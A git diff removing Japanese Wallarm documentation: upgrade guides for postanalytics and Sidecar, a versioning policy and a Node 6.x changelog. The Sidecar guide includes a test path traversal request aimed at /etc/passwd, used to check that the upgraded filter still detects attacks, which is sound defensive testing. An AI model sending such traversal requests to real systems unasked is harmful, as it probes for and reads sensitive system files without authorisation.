以前は環境変数`TARANTOOL_MEMORY_GB`でTarantoolのメモリを割り当てていましたが、同じ原則で新しい変数を使用します: `TARANTOOL_MEMORY_GB` → `SLAB_ALLOC_ARENA` - * Alpine Linuxの慣例に合わせてコンテナのディレクトリ構造を調整しました。具体的には: - - * `/etc/nginx/modules-available`および`/etc/nginx/modules-enabled`の内容を`/etc/nginx/modules`に移動しました。 - * `/etc/nginx/sites-available`および`/etc/nginx/sites-enabled`の内容を`/etc/nginx/http.d`に移動しました。 - - * `/wallarm-status`サービスに許可されたIPアドレスを指定する既定の`allow`値は、127.0.0.8/8から127.0.0.0/8になりました。 -* [Kubernetes Ingress Controller](../../admin-en/installation-kubernetes-en.md): - - * Tarantoolは別Podではなくなり、wstoreはメインの`-wallarm-ingress-controller-xxx` Pod内で動作します。 - * Helmの値名を変更: `controller.wallarm.tarantool` → `controller.wallarm.postanalytics` -* [Kubernetes Sidecar Controller](../../installation/kubernetes/sidecar-proxy/deployment.md): - - * Helmの値名を変更: `postanalytics.tarantool.*` → [`postanalytics.wstore.*`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L625) - * Sidecarデプロイ用Helmチャートから以下のDockerイメージを削除しました: - - * [wallarm/ingress-collectd](https://hub.docker.com/r/wallarm/ingress-collectd) - * [wallarm/ingress-tarantool](https://hub.docker.com/r/wallarm/ingress-tarantool) - * [wallarm/ingress-ruby](https://hub.docker.com/r/wallarm/ingress-ruby) - * [wallarm/ingress-python](https://hub.docker.com/r/wallarm/ingress-python) - - これらは現在、関連サービスを実行する[wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers)イメージに置き換えられています。 - -以下の変更は、この後に記載するノードアップグレード手順に組み込まれています。 - -## アップグレード手順 - -1. [モジュールのアップグレードに関する推奨事項](../general-recommendations.md)を確認します。 -2. 使用中のWallarmノードのデプロイオプションに応じた手順に従って、インストール済みモジュールをアップグレードします: - - * **All-in-oneインストーラー**による[NGINX、NGINX Plus向けモジュールのアップグレード](nginx-modules.md) - - アップグレードプロセスの改善と簡素化のため、すべてのノードバージョンのアップグレードはWallarmのAll-in-oneインストーラーで実施します。個別のLinuxパッケージによる手動アップグレードはサポートしません。 - - * [NGINXモジュール入りDockerコンテナのアップグレード](docker-container.md) - * [Wallarmモジュール統合済みNGINX Ingress controllerのアップグレード](ingress-controller.md) - * [クラウドノードイメージ](cloud-image.md) - * [マルチテナントノード](multi-tenant.md) -3. 以前のWallarmノードバージョンの許可リスト・拒否リスト設定を、最新バージョンへ[移行](../migrate-ip-lists-to-node-3.md)します。 - ----------- - -[Wallarm製品およびコンポーネントのその他の更新情報 →](https://changelog.wallarm.com/) \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/separate-postanalytics.md b/docs/latest-ja/updating-migrating/separate-postanalytics.md deleted file mode 100644 index 4cc03f9c37..0000000000 --- a/docs/latest-ja/updating-migrating/separate-postanalytics.md +++ /dev/null @@ -1,63 +0,0 @@ -[docs-module-update]: nginx-modules.md -[img-wl-console-users]: ../images/check-users.png -[img-create-wallarm-node]: ../images/user-guides/nodes/create-cloud-node.png -[img-attacks-in-interface]: ../images/admin-guides/test-attacks-quickstart.png -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[statistics-service-all-parameters]: ../admin-en/configure-statistics-service.md -[configure-proxy-balancer-instr]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md - -# postanalyticsモジュールのアップグレード - -本手順では、別サーバーにインストールされているpostanalyticsモジュールを最新の6.xバージョンへアップグレードする手順を説明します。**postanalyticsモジュールは、[Wallarm NGINXモジュールのアップグレード][docs-module-update]より前にアップグレードする必要があります。** - -!!! info "all-in-oneインストーラーでのアップグレード" - バージョン4.10以降は、個別のLinuxパッケージが非推奨になったため、Wallarmの[all-in-oneインストーラー](../installation/nginx/all-in-one.md)を使用してアップグレードします。この方法は、従来のアプローチと比べて、アップグレード手順と継続的なデプロイの保守を簡素化します。 - - インストーラーは次の処理を自動で実行します。 - - 1. OSとNGINXのバージョンを確認します。 - 1. 検出したOSとNGINXのバージョンに対応するWallarmリポジトリを追加します。 - 1. これらのリポジトリからWallarmパッケージをインストールします。 - 1. インストールしたWallarmモジュールをNGINXに接続します。 - 1. 提供されたトークンを使用してフィルタリングノードをWallarm Cloudに接続します。 - - ![all-in-oneと手動の比較](../images/installation-nginx-overview/manual-vs-all-in-one.png) - -サポート終了のモジュール(3.6以下)をアップグレードするには、[別の手順](older-versions/separate-postanalytics.md)を使用してください。 - -## 要件 - ---8<-- "../include/waf/installation/all-in-one-upgrade-requirements.md" - -## 手順1: クリーンなマシンを準備します - ---8<-- "../include/waf/installation/all-in-one-clean-machine-latest.md" - -## 手順2: Wallarmトークンを準備します - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## 手順3: Wallarmのall-in-oneインストーラーをダウンロードします - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## 手順4: Wallarmのall-in-oneインストーラーを実行してpostanalyticsをインストールします - ---8<-- "../include/waf/installation/all-in-one-postanalytics.md" - -## 手順5: 別サーバー上のNGINX‑Wallarmモジュールをアップグレードします - -別サーバーにpostanalyticsモジュールをインストールした後は、別のサーバーで動作している[関連するNGINX‑Wallarmモジュール](nginx-modules.md)をアップグレードします。 - -## 手順6: NGINX‑Wallarmモジュールをpostanalyticsモジュールに再接続します - ---8<-- "../include/waf/installation/all-in-one-postanalytics-reconnect.md" - -## 手順7: NGINX‑Wallarmと別サーバーのpostanalyticsモジュールの連携を確認します - ---8<-- "../include/waf/installation/all-in-one-postanalytics-check-latest.md" - -## 手順8: 古いpostanalyticsモジュールを削除します - ---8<-- "../include/waf/installation/all-in-one-postanalytics-remove-old.md" \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/sidecar-proxy.md b/docs/latest-ja/updating-migrating/sidecar-proxy.md deleted file mode 100644 index 64fa6bff9e..0000000000 --- a/docs/latest-ja/updating-migrating/sidecar-proxy.md +++ /dev/null @@ -1,146 +0,0 @@ -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../api-specification-enforcement/overview.md - -# Wallarm Sidecarのアップグレード - -本手順では、Wallarm Sidecarソリューションを最新の6.xバージョンにアップグレードする手順を説明します。 - -## 要件 - ---8<-- "../include/waf/installation/sidecar-proxy-reqs-latest.md" - -## 手順1: Wallarm Helmチャートリポジトリを更新します - -```bash -helm repo update wallarm -``` - -## 手順2: 反映されるK8sマニフェストの変更点を確認します - -Sidecarの動作が想定外に変わることを避けるため、[Helm Diff Plugin](https://github.com/databus23/helm-diff)を使用して、今後適用されるK8sマニフェストの変更点を確認します。このプラグインは、現在デプロイされているSidecarのバージョンと新しいバージョンのK8sマニフェストの差分を出力します。 - -プラグインをインストールして実行するには次のとおりです: - -1. プラグインをインストールします: - - ```bash - helm plugin install https://github.com/databus23/helm-diff - ``` -2. プラグインを実行します: - - ```bash - helm diff upgrade -n wallarm-sidecar wallarm/wallarm-sidecar --version 6.4.0 -f - ``` - - * ``はWallarm SidecarのHelmリリース名です。 - * `wallarm-sidecar`はWallarm Sidecarソリューションがデプロイされているnamespaceです。弊社の[デプロイ](../installation/kubernetes/sidecar-proxy/deployment.md)ガイドに従う場合、通常は`wallarm-sidecar`に設定されています。 - * ``はSidecar Helmチャート6.xの設定を含む`values.yaml`ファイルへのパスです。[Tarantoolからwstoreへの移行](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)に合わせて更新すれば、以前のバージョンのファイルを再利用できます: - - Helmの値名が変更されました: `postanalytics.tarantool` → `postanalytics.wstore`。postanalyticsメモリを明示的に[割り当てている](../installation/kubernetes/sidecar-proxy/scaling.md)場合は、`values.yaml`にこの変更を適用してください。 - -3. 稼働中のサービスの安定性に影響する変更がないことを確認し、stdoutに出力されるエラーを注意深く確認します。 - - stdoutが空の場合は、`values.yaml`ファイルが有効であることを確認します。 - -リリース 4.10.7では互換性に破壊的な変更が導入されたため、ソリューションの再インストールが必要となります。admission webhook証明書の生成デフォルト方式は[`certgen`](https://github.com/kubernetes/ingress-nginx/tree/main/images/kube-webhook-certgen)プロセスに置き換えられました。アップグレード中に、新しい`certgen`プロセスにより証明書が自動生成されます。 - -[リリース4.10.7](/4.10/updating-migrating/node-artifact-versions/#helm-chart-for-sidecar)では互換性を破る変更が導入され、ソリューションの再インストールが必要になりました。admission webhook証明書の生成方法の既定が[`certgen`](https://github.com/kubernetes/ingress-nginx/tree/main/images/kube-webhook-certgen)プロセスに置き換えられています。アップグレード中は、新しい`certgen`プロセスを使用して証明書が自動生成されます。 - -さらに、このリリースでは、[admission webhook証明書のプロビジョニングに`cert-manager`を使用する、または証明書を手動で指定する](../installation/kubernetes/sidecar-proxy/customization.md#certificates-for-the-admission-webhook)ことが可能です。 - -### 手順3: 以前のバージョンのソリューションをアンインストールします - -``` -helm uninstall -n wallarm-sidecar -``` - -### 手順4: 既存の証明書アーティファクトを削除します - -``` -kubectl delete MutatingWebhookConfiguration -wallarm-sidecar -kubectl delete secret -wallarm-sidecar-admission-tls -n wallarm-sidecar -``` - -### 手順5: 新しいソリューションバージョンをデプロイします - -``` bash -helm install --version 6.4.0 wallarm/wallarm-sidecar --wait -n wallarm-sidecar -f -``` - -* ``はHelmリリース名です。ソリューションの初回デプロイ時に使用した名前を再利用することを推奨します。 -* `wallarm-sidecar`はHelmリリースをデプロイするnamespaceです。ソリューションの初回デプロイ時に使用したnamespaceを再利用することを推奨します。 -* ``はSidecar Helmチャート6.xの設定を含む`values.yaml`ファイルへのパスです。[Tarantoolからwstoreへの移行](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)に合わせて更新すれば、以前のバージョンのファイルを再利用できます: - - Helmの値名が変更されました: `postanalytics.tarantool` → `postanalytics.wstore`。postanalyticsメモリを明示的に[割り当てている](../installation/kubernetes/sidecar-proxy/scaling.md)場合は、`values.yaml`にこの変更を適用してください。 - -### 手順6: Sidecar ProxyがアタッチされたDeploymentを再起動します - -既にアプリケーションPodにインジェクトされているプロキシコンテナをアップグレードするには、該当するDeploymentを再起動します: - -``` -kubectl rollout restart deployment -n -``` - -* ``はアプリケーションのDeployment名です -* ``はそのDeploymentが存在するnamespaceです - -## バージョン4.10.7以上からのアップグレード - -### 手順3: Sidecarソリューションをアップグレードします - -デプロイ済みのSidecarソリューションのコンポーネントをアップグレードします: - -``` bash -helm upgrade -n wallarm/wallarm-sidecar --version 6.4.0 -f -``` - -* ``: デプロイ済みSidecarチャートのHelmリリース名です -* ``: Sidecarがデプロイされているnamespaceです -* ``はSidecar Helmチャート6.xの設定を含む`values.yaml`ファイルへのパスです。[Tarantoolからwstoreへの移行](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)に合わせて更新すれば、以前のバージョンのファイルを再利用できます: - - Helmの値名が変更されました: `postanalytics.tarantool` → `postanalytics.wstore`。postanalyticsメモリを明示的に[割り当てている](../installation/kubernetes/sidecar-proxy/scaling.md)場合は、`values.yaml`にこの変更を適用してください。 - -### 手順4: Sidecar ProxyがアタッチされたDeploymentを再起動します - -既にアプリケーションPodにインジェクトされているプロキシコンテナをアップグレードするには、該当するDeploymentを再起動します: - -``` -kubectl rollout restart deployment -n -``` - -* ``はアプリケーションのDeployment名です -* ``はそのDeploymentが存在するnamespaceです - -## アップグレード後のSidecarソリューションをテストします - -1. Helmチャートのバージョンがアップグレードされたことを確認します: - - ```bash - helm list -n wallarm-sidecar - ``` - - `wallarm-sidecar`はSidecarがデプロイされているnamespaceです。namespaceが異なる場合は、この値を変更できます。 - - チャートバージョンは`wallarm-sidecar-6.4.0`である必要があります。 -1. Wallarmコントロールプレーンの詳細を取得し、正常に起動していることを確認します: - - ```bash - kubectl get pods -n wallarm-sidecar -l app.kubernetes.io/name=wallarm-sidecar - ``` - - 各Podには次が表示されている必要があります: READY: N/N および STATUS: Running。例: - - ``` - NAME READY STATUS RESTARTS AGE - wallarm-sidecar-controller-54cf88b989-gp2vg 1/1 Running 0 91m - wallarm-sidecar-postanalytics-86d9d4b6cd-hpd5k 3/3 Running 0 91m - ``` -1. アプリケーションクラスターのアドレスにテスト用の[パストラバーサル](../attacks-vulns-list.md#path-traversal)攻撃を送信します: - - ```bash - curl http:///etc/passwd - ``` - - 対象のアプリケーションPodには`wallarm-sidecar: enabled`ラベルが付与されている必要があります。 - - 新しいバージョンのソリューションが、前のバージョンと同様に悪意のあるリクエストを処理することを確認します。 \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/versioning-policy.md b/docs/latest-ja/updating-migrating/versioning-policy.md deleted file mode 100644 index 2982977f61..0000000000 --- a/docs/latest-ja/updating-migrating/versioning-policy.md +++ /dev/null @@ -1,65 +0,0 @@ -# Wallarm Nodeバージョニングポリシー - -このドキュメントでは、セルフホスト型の[NGINXベースおよびNative Node](../installation/nginx-native-node-internals.md)と、セルフホスト型Native Nodeとバージョンを共有する[Edge Node](../installation/security-edge/overview.md)に関するWallarmのバージョニングポリシーを詳述します。ノードの更新を管理するためのバージョン規約、リリーススケジュール、互換性ガイドラインを説明します。 - -各Nodeのバージョンは、Dockerイメージ、Helmチャート、オールインワンインストーラーなど、さまざまなプラットフォームへのデプロイ用にパッケージ化されたアーティファクトのセットとしてリリースされます。 - -## バージョン一覧 - -| NGINX Nodeのバージョン | Native/Edge Nodeのバージョン | リリース日 | サポート終了 | -|--------------------|---------------------|----------------|---------------| -| 2.18およびそれ以下の2.x | - | | 2021年11月 | -| 3.6およびそれ以下の3.x | - | 2021年10月 | 2022年11月 | -| 4.6およびそれ以下の4.x | - | 2022年6月 | 2024年4月 | -| 4.8 | - | 2023年10月 | 2024年11月 | -| 4.10 | - | 2024年1月 | 2025年7月 | -| 5.x | 0.13.x- | 2024年7月 | | -| 6.x | 0.14.x+ | 2025年3月 | | - -## バージョン構造 - -Nodeのバージョンは次の形式に従います: - -```bash -..[-] -``` - -| 要素 | 説明 | リリース頻度 | -| ------- | ----------- | ----------------- | -| `` | メジャーバージョンの変更は、重要なアップデート、大きな新機能、または互換性を破る変更を示します。+1ずつ増加します（例: `4.x`、`5.x`）。 | 6か月ごと、または大きな変更が必要な場合 | -| `` | マイナーバージョンの変更には、既存機能の範囲内での強化や新たな能力の追加が含まれますが、大きな新しいユースケースは導入しません。+1ずつ増加します（例: `5.0`、`5.1`）。 | 毎月 | -| `` | 小さなバグ修正や特定の改善のためのパッチです。最新のマイナーリリースにのみ適用されます。数値はリリースブランチのコミット数に基づいて連番で増加します（+1、+2など）。例えば、`5.1.0`、`5.1.1`です。 | 必要に応じて | -| ``（任意） | Wallarm Node自体に関係しない変更（例: Helmチャートの依存関係更新）を示します。パッチリリース間にアーティファクトに変更がある場合にのみ、この番号が増加します（例: `5.1.0-1`、`5.1.0-2`）。 | 必要に応じて | - -このバージョニング方式はすべてのNodeタイプに等しく適用されます。ただし、それぞれ独立してリリースされます。 - -## バージョンサポート方針 - -Wallarmは最新のメジャーバージョン2系について、それぞれの最新マイナーバージョンに限定して、バグ修正、機能更新、脆弱性パッチを提供してサポートします。例えば、6.xがリリースされると、5.xの最新マイナーバージョン（例: 5.12）のみがサポート対象になります。 - -新しいメジャーバージョンのリリース後、2世代前に相当するバージョン（例: 6.x → 4.x）のサポートは3か月後に終了します。 - -非推奨バージョンは引き続きダウンロード可能ですが、更新は提供されません。 - -## NGINX互換性 - -NGINX Nodeのアーティファクトの大半は、アップストリームのNGINXの安定版に合わせています。 - -例えば、Wallarm Ingress Controllerは[Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx)に基づいています。アップストリームのバージョンが非推奨とマークされた場合、Wallarmは30日以内に新しい安定版へ更新し、マイナーバージョンとしてリリースします。互換性を確保するために前倒しで更新する場合もありますが、非推奨の指定より後に遅延することはありません。 - -## 新バージョンの通知 - -Wallarmはメジャーおよびマイナーアップデートのリリースノートを次の場所で公開します: - -* 公開ドキュメント - [NGINX Nodeアーティファクト一覧](node-artifact-versions.md)および[Native Nodeアーティファクト一覧](native-node/node-artifact-versions.md)を参照してください -* [製品の変更履歴](https://changelog.wallarm.com/) -* Wallarm Consoleのupdates section - - ![Wallarm Consoleの新バージョン通知](../images/updating-migrating/wallarm-console-new-version-notification.png) -* Wallarm Consoleの各ノードは、**Up to date**ステータスを表示するか、各コンポーネントの利用可能なアップデートを一覧表示します。 - - ![Node card](../images/user-guides/nodes/view-regular-node-comp-vers.png) - -## アップグレード手順 - -メジャーおよびマイナーアップデートのインストール手順は、新バージョンと同時に公開されます。特定のアーティファクトの更新手順の詳細は、ドキュメントのOperations → Node Upgradeを参照してください。 \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/what-is-new.md b/docs/latest-ja/updating-migrating/what-is-new.md deleted file mode 100644 index 2b3fb70eb3..0000000000 --- a/docs/latest-ja/updating-migrating/what-is-new.md +++ /dev/null @@ -1,264 +0,0 @@ -# Wallarm Node 6.xおよび0.14.xの新機能 - -この変更履歴ではNGINX Node 6.xとNative Node 0.14.x+の更新を扱います。より古いバージョンからアップグレードする場合は[こちら](../updating-migrating/older-versions/what-is-new.md)のドキュメントをご参照ください。 - -Wallarm Nodeのマイナーバージョンごとの詳細な変更履歴は、[NGINX Nodeのアーティファクト一覧](node-artifact-versions.md)または[Native Nodeのアーティファクト一覧](native-node/node-artifact-versions.md)をご参照ください。 - -本リリースでは、Wallarm Nodeの性能と保守性を高めることを目的とした重要なアーキテクチャ改善を導入します。これらの更新は、今後の機能の基盤にもなります。 - -## postanalyticsにおけるTarantoolのwstoreへの置き換え - -Wallarm Nodeは、ローカルpostanalytics処理にTarantoolの代わりにWallarmが開発したサービスであるwstoreを使用するようになりました。 - -その結果、NGINX Nodeには次の変更が導入されました。 - -* [All-in-oneインストーラー](../installation/nginx/all-in-one.md)、[AWS](../installation/cloud-platforms/aws/ami.md)/[GCP](../installation/cloud-platforms/gcp/machine-image.md)イメージ: - - * 他のNGINXサービスとは別にデプロイしたpostanalyticsモジュールのサーバーアドレスを定義するNGINXディレクティブ`wallarm_tarantool_upstream`は、[`wallarm_wstore_upstream`](../admin-en/configure-parameters-en.md#wallarm_wstore_upstream)に名称変更されました。 - - 後方互換性は非推奨警告とともに維持されます: - - ``` - 2025/03/04 20:43:04 [warn] 3719#3719: "wallarm_tarantool_upstream" directive is deprecated, use "wallarm_wstore_upstream" instead in /etc/nginx/nginx.conf:19 - ``` - - * [ログファイル](../admin-en/configure-logging.md)の名称を変更しました: `/opt/wallarm/var/log/wallarm/tarantool-out.log` → `/opt/wallarm/var/log/wallarm/wstore-out.log`。 - * 新しいwstore設定ファイル`/opt/wallarm/wstore/wstore.yaml`が、`/etc/default/wallarm-tarantool`や`/etc/sysconfig/wallarm-tarantool`などの廃止されたTarantool設定ファイルに置き換わります。 - * `/opt/wallarm/etc/wallarm/node.yaml`内の`tarantool`セクションは`wstore`になりました。後方互換性は非推奨警告とともに維持されます。 -* [Dockerイメージ](../admin-en/installation-docker-en.md): - - * 上記の変更はすべてコンテナ内に適用されています。 - * 以前はTarantoolのメモリを環境変数`TARANTOOL_MEMORY_GB`で割り当てていました。現在は同じ考え方ですが新しい変数を使用します：`TARANTOOL_MEMORY_GB` → `SLAB_ALLOC_ARENA`。 - * コンテナのディレクトリ構成をAlpine Linuxの慣例に合わせて調整しました。具体的には: - * `/etc/nginx/modules-available`と`/etc/nginx/modules-enabled`の内容を`/etc/nginx/modules`に移動しました。 - * `/etc/nginx/sites-available`と`/etc/nginx/sites-enabled`の内容を`/etc/nginx/http.d`に移動しました。 - * `/wallarm-status`サービスに許可されるIPアドレスを指定するデフォルトの`allow`値は、127.0.0.8/8ではなく127.0.0.0/8になりました。 -* [Kubernetes Ingress Controller](../admin-en/installation-kubernetes-en.md): - - * Tarantoolは別Podではなくなり、wstoreはメインの`-wallarm-ingress-controller-xxx` Pod内で動作します。 - * Helmの値名を変更しました：`controller.wallarm.tarantool` → `controller.wallarm.postanalytics`。 -* [Kubernetes Sidecar Controller](../installation/kubernetes/sidecar-proxy/deployment.md): - - * Helmの値名を変更しました：`postanalytics.tarantool.*` → [`postanalytics.wstore.*`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L625)。 - * Sidecarデプロイ用Helmチャートから次のDockerイメージを削除しました: - * [wallarm/ingress-collectd](https://hub.docker.com/r/wallarm/ingress-collectd) - * [wallarm/ingress-tarantool](https://hub.docker.com/r/wallarm/ingress-tarantool) - * [wallarm/ingress-ruby](https://hub.docker.com/r/wallarm/ingress-ruby) - * [wallarm/ingress-python](https://hub.docker.com/r/wallarm/ingress-python) - - これらのイメージは[wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers)イメージに置き換えられ、該当するサービスはこのイメージで実行されます。 - -上述の変更は、後述のNodeアップグレード手順に反映されています。 - -## collectdの削除 - -従来すべてのフィルタリングノードにインストールされていたcollectdサービスとその関連プラグインを削除しました。メトリクスはWallarmの組み込みメカニズムで収集・送信されるようになり、外部ツールへの依存が減ります。 - -PrometheusおよびJSON形式で同等のメトリクスを提供するcollectdの代替として、[`/wallarm-status`エンドポイント](../admin-en/configure-statistics-service.md)をご使用ください。 - -この変更に伴い、設定まわりでも以下の点が変更されています。 - -* `\opt\wallarm\etc\collectd\wallarm-collectd.conf.d\wallarm-tarantool.conf`のcollectd設定ファイルは使用しません。 -* 以前、次のようにnetworkプラグインを使ってcollectdでメトリクスを転送していた場合は: - ``` - LoadPlugin network - - - Server "" "" - - ``` - 現在はPrometheusで`/wallarm-status`をスクレイプする方式に切り替えてください。 - -## Mitigation Controls - -Wallarmの攻撃緩和設定を一元管理するセンターである[**Mitigation Controls**](../about-wallarm/mitigation-controls-overview.md)を導入します。Mitigation Controlsを使用すると、次のことが可能です。 - -* すべてのWallarmの緩和設定を1か所で表示・管理できます。 -* 統一的に管理できます（すべてのコントロールは同様の設定UIとオプションを持ちます）。 -* 各コントロールの現在のモードを容易に俯瞰できます。有効か、監視のみか、ブロックも行うかを確認できます。 -* 各コントロールで捕捉された攻撃の概要を迅速に把握できます。 - -![UIのMitigation Controlsページ](../images/user-guides/mitigation-controls/mc-main-page.png) - -### 列挙攻撃保護 - -!!! tip "" - [NGINX Node 6.1.0以降](node-artifact-versions.md)および[Native Node 0.14.1以降](native-node/node-artifact-versions.md) - -新たな[列挙攻撃](../attacks-vulns-list.md#enumeration-attacks)対策がEnumeration系Mitigation Controlsとして追加されました。 - -* [Enumeration attack protection](../api-protection/enumeration-attack-protection.md) -* [BOLA enumeration protection](../api-protection/enumeration-attack-protection.md) -* [Forced browsing protection](../api-protection/enumeration-attack-protection.md) -* [Brute force protection](../api-protection/enumeration-attack-protection.md) - -従来この対策に用いていたtriggersと比較して、Mitigation Controlsは次の点が向上しています。 - -* 列挙試行の監視対象とするパラメータを選択できます。 -* どのリクエストをカウント対象とするかを高度に絞り込めます。 -* [API Sessions](../api-sessions/overview.md)と深く連携します。検出された攻撃は対応するセッション内に表示され、何が起きていたのか、なぜそのセッションのアクティビティが攻撃としてマークされブロックされたのかという完全なコンテキストを提供します。 - -![BOLA protectionのMitigation Control - 例](../images/user-guides/mitigation-controls/mc-bola-example-01.png) - -### DoS protection - -!!! tip "" - [NGINX Node 6.1.0以降](node-artifact-versions.md)および[Native Node 0.14.1以降](native-node/node-artifact-versions.md) - -[unrestricted resource consumption](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md)は、最も深刻なAPIセキュリティリスクの一覧である[OWASP API Top 10 2023](../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023)に含まれています。これはそれ自体が脅威（過負荷によるサービスの低速化や停止）であるだけでなく、列挙攻撃などさまざまな攻撃タイプの土台にもなります。一定時間あたりのリクエストを許容しすぎることが、これらのリスクの主因の1つです。 - -Wallarmは新しい[**DoS protection**](../api-protection/dos-protection.md)のMitigation Controlを提供し、APIへの過剰なトラフィックを防ぐのに役立ちます。 - -![DoS protection - JWTの例](../images/api-protection/mitigation-controls-dos-protection-jwt.png) - -### デフォルトのコントロール - -Wallarmは[デフォルトのMitigation Controls](../about-wallarm/mitigation-controls-overview.md#default-controls)を提供しており、有効化するとWallarmプラットフォームの検知能力が大幅に向上します。これらのコントロールは一般的な攻撃パターンに対して堅牢な保護を提供するよう事前設定されています。現在のデフォルトのMitigation Controlsには次が含まれます。 - -* [GraphQL protection](../api-protection/graphql-rule.md) -* ユーザーID、オブジェクトID、ファイル名向けの[BOLA (Broken Object Level Authorization) enumeration protection](../api-protection/enumeration-attack-protection.md#bola) -* パスワード、OTP、認証コード向けの[Brute force protection](../api-protection/enumeration-attack-protection.md#brute-force) -* [Forced browsing protection](../api-protection/enumeration-attack-protection.md#forced-browsing)（404のプロービング） -* [Enumeration attack protection](../api-protection/enumeration-attack-protection.md#generic-enumeration)（以下を含む）: - - * ユーザー/メールアドレスの列挙 - * SSRF（Server-Side Request Forgery）の列挙 - * User-Agentのローテーション - -## ファイルアップロード制限ポリシー - -Wallarmはアップロードされるファイルサイズを直接制限するためのツールを提供します。これは、最も深刻なAPIセキュリティリスクの一覧である[OWASP API Top 10 2023](../user-guides/dashboards/owasp-api-top-ten.md#wallarm-security-controls-for-owasp-api-2023)に含まれる[unrestricted resource consumption](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa4-unrestricted-resource-consumption.md)を防止するための一連の対策の一部です。 - -ご契約プランに応じて、アップロード制限はMitigation ControlまたはRuleで適用されます。リクエスト全体、または指定したポイントに対してファイルサイズの制限を設定できます。 - -![ファイルアップロード制限MC - 例](../images/api-protection/mitigation-controls-file-upload-1.png) - -## Protection from unrestricted resource consumption - -!!! tip "" - [NGINX Node 6.3.0以降](node-artifact-versions.md)。現時点では[Native Node](../installation/nginx-native-node-internals.md#native-node)は未対応です。 - -Wallarmの[API Abuse Prevention](../api-abuse-prevention/overview.md)は、[unrestricted resource consumption](../attacks-vulns-list.md#unrestricted-resource-consumption)（適切な制限なく自動化クライアントがAPIやアプリケーションのリソースを過剰に消費する不正行為）を防止する機能を提供します。これには、大量の非悪意のリクエスト送信、コンピュート/メモリ/帯域の枯渇、正当なユーザーへのサービス劣化などが含まれます。 - -![API Abuse Preventionプロファイル](../images/about-wallarm-waf/abi-abuse-prevention/create-api-abuse-prevention.png) - -この種の自動化された脅威を検出するため、API Abuse Preventionは次の3つの新しい[ディテクタ](../api-abuse-prevention/overview.md#how-api-abuse-prevention-works)を提供します。 - -* **Response time anomaly**: APIレスポンスのレイテンシにおける異常なパターンを特定し、自動化された濫用やバックエンド悪用の試みを示唆する可能性のある兆候を検出します。 -* **Excessive request consumption**: APIに異常に大きなリクエストペイロードを送信するクライアントを特定し、バックエンド処理リソースの濫用や誤用の可能性を検出します。 -* **Excessive response consumption**: セッション存続期間中に転送されたレスポンスデータ総量に基づき疑わしいセッションにフラグを付けます。個々のリクエストに焦点を当てるディテクタとは異なり、セッション全体のレスポンスサイズを集約して、スロードリップ型や分散スクレイピング攻撃を特定します。 - -## どのWallarmノードのアップグレードを推奨しますか - -* バージョン4.10および5.xのクライアントおよびマルチテナント向けWallarm NGINX Nodeをアップグレードすることを推奨します。最新のWallarmリリースに追随し、[インストール済みモジュールの非推奨化](versioning-policy.md#version-support-policy)を防ぐためです。 -* [非サポート](versioning-policy.md#version-list)バージョン（4.8以下）のクライアントおよびマルチテナント向けWallarmノードをアップグレードすることを推奨します。 - -## API DiscoveryとAPIセッションにおける機微なビジネスフロー - -!!! tip "" - [NGINX Node 5.2.11以降](node-artifact-versions.md)および[Native Node 0.10.1以降](native-node/node-artifact-versions.md) - -機微なビジネスフロー機能により、Wallarmの[API Discovery](../api-discovery/overview.md)は、認証、アカウント管理、請求など、特定のビジネスフローや機能に不可欠なエンドポイントを自動的に識別できます。 - -これにより、機微なビジネスフローに関連するエンドポイントの脆弱性や侵害に対する定期的な監視・監査が可能になり、開発、保守、およびセキュリティ対策の優先順位付けが実現されます。 - -![API Discovery - 機微なビジネスフロー](../images/about-wallarm-waf/api-discovery/api-discovery-sbf.png) - -識別された機微なビジネスフローはWallarmの[APIセッション](../api-sessions/overview.md)に連携されます。つまり、API Discoveryで重要とタグ付けされたエンドポイントに対するセッションのリクエストがある場合、そのセッションは自動的に[タグ付け](../api-sessions/exploring.md#sensitive-business-flows)され、該当ビジネスフローにも影響を及ぼすと判定されます。 - -セッションに機微なビジネスフローのタグが割り当てられると、特定のビジネスフローでフィルタリングでき、解析する上で最も重要なセッションを簡単に選別できるようになります。 - -![APIセッション - 機微なビジネスフロー](../images/api-sessions/api-sessions-sbf-no-select.png) - -## 本格的なGraphQLパーサー - -!!! tip "" - [NGINX Node 5.3.0以降](node-artifact-versions.md)、現在[Native Node](native-node/node-artifact-versions.md)ではサポートされていません - -本格的な[GraphQLパーサー](../user-guides/rules/request-processing.md#gql)は、GraphQLリクエスト内の入力検証攻撃（例：SQLインジェクション）の検出を大幅に改善し、**より高い精度と最小限の誤検知**を実現する改善機能です。 - -主な利点： - -* **向上した検出**：入力検証攻撃（例：SQLインジェクション）の検出能力 -* **詳細なパラメーターインサイト**：GraphQLリクエストパラメータの値をAPIセッション内で抽出・表示し、セッションコンテキストパラメータとして活用します。 - - ![APIセッション設定 - GraphQLリクエストパラメータ](../images/api-sessions/api-sessions-graphql.png) - -* **正確な攻撃検出**：引数、ディレクティブ、変数など、特定のGraphQLリクエストコンポーネント内で攻撃を正確に特定します。 -* **高度なルール適用**：特定のGraphQLリクエスト部分に対して細かい保護ルールを適用します。これにより、特定の攻撃タイプに対する除外設定の微調整と構成が可能になります。 - - 